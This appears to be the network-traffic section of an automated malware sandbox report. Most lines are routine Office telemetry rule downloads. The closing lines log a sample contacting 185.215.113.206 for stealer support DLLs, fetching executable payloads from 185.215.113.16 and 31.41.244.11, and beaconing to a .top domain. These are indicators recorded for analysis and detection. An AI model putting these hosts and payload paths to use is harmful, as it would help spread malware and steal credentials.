Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1Host: home.fvtekk5pn.topAccept: /
Source: global traffic	HTTP traffic detected: GET /files/lll.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
